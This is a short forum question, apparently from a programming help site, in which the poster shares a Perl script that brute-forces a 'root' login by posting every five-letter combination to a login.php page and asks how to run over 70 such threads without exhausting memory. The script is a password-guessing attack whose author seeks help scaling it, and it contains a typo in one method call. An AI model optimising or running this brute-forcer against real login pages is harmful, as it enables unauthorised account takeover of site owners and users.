i want to create over 70 threads where every thread begins with a different value.
here is my code in order to be more clear
use strict;
use warnings;
use threads;
use LWP::UserAgent;
my @char = (("A".."Z"),("a".."z"));
my @threads;
my $ua = LWP::UserAgent->new;
push @threads , threads->create(\&Chara);
sub Chara {
foreach my $a (@char){
foreach my $b (@char){
foreach my $c (@char){
foreach my $d (@char){
foreach my $e (@char){
my @req = ("http://localhost/login.php",['log' => "root" , 'pwd' => "A$e$d$c$b$a"]);
my $res = $ua->post(@req);
print "Trying A$e$d$c$b$a\n";
if ($res->as_string() =~ /302/ && $res->as_strint() =~ m/admin/i){
print "A$e$d$c$b$a\n";
exit;
}}}}}}};;
and i repeated that over 70 times with different values and in the end of the script i put
$_->join foreach @threads;
but when i run the script it consumes a lot of memory
any suggestions.
excuse my language .